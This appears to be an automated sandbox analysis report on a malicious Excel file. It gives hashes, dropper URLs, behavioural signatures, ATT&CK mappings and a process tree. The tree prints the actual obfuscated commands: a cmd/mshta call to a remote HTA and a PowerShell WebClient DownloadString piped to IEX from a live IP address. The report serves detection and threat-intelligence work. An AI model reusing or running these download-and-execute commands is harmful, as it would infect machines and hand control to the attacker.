15ba3fe70f854e7162821364127e4e9f96bf5921f0d5b04f1e65d9be5f0eeb17

General

Target

2022-1-28-cb1ff6f765944568ed461ad520e6c945.xls
Size

47KB
MD5

cb1ff6f765944568ed461ad520e6c945
SHA1

3a75dcfb8651fbbc714c43058b1ef5fd3e31a092
SHA256

15ba3fe70f854e7162821364127e4e9f96bf5921f0d5b04f1e65d9be5f0eeb17
SHA512

05fc11cb45cdf3285878eecabb7bada7d8258f5e001a49d860a49697a039b22ed478afa7c7d3fae8dce339577a32f916e95701265517f9f94177abe86dd00db2

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2200	3612	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

28 3868 mshta.exe
40 2820 powershell.exe
42 2820 powershell.exe
Downloads MZ/PE file
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

68 3868 WerFault.exe mshta.exe

flow	pid	process
28	3868	mshta.exe
40	2820	powershell.exe
42	2820	powershell.exe

pid	pid_target	process	target process
68	3868	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3612 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
2820	powershell.exe
2820	powershell.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
68	WerFault.exe
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2820 powershell.exe
Token: SeDebugPrivilege 68 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	68	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE
3612	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exe

description	pid	process	target process
PID 3612 wrote to memory of 2200	3612	EXCEL.EXE	CMD.EXE
PID 3612 wrote to memory of 2200	3612	EXCEL.EXE	CMD.EXE
PID 2200 wrote to memory of 3868	2200	CMD.EXE	mshta.exe
PID 2200 wrote to memory of 3868	2200	CMD.EXE	mshta.exe
PID 3868 wrote to memory of 2820	3868	mshta.exe	powershell.exe
PID 3868 wrote to memory of 2820	3868	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-cb1ff6f765944568ed461ad520e6c945.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2200

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2820

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3868 -s 1660
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:68

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2820-275-0x0000012ECC960000-0x0000012ECC982000-memory.dmp

Filesize
136KB

Download
memory/2820-317-0x0000012EB48F0000-0x0000012ECCA20000-memory.dmp

Filesize
385.2MB

Download
memory/2820-312-0x0000012EB48F0000-0x0000012ECCA20000-memory.dmp

Filesize
385.2MB

Download
memory/2820-311-0x0000012EB48F0000-0x0000012ECCA20000-memory.dmp

Filesize
385.2MB

Download
memory/2820-305-0x0000012ECD120000-0x0000012ECD196000-memory.dmp

Filesize
472KB

Download
memory/2820-294-0x0000012ECCC20000-0x0000012ECCC5C000-memory.dmp

Filesize
240KB

Download
memory/3612-121-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/3612-132-0x00007FF987050000-0x00007FF987060000-memory.dmp

Filesize
64KB

Download
memory/3612-131-0x00007FF987050000-0x00007FF987060000-memory.dmp

Filesize
64KB

Download
memory/3612-122-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/3612-118-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/3612-120-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download
memory/3612-119-0x00007FF98ABC0000-0x00007FF98ABD0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads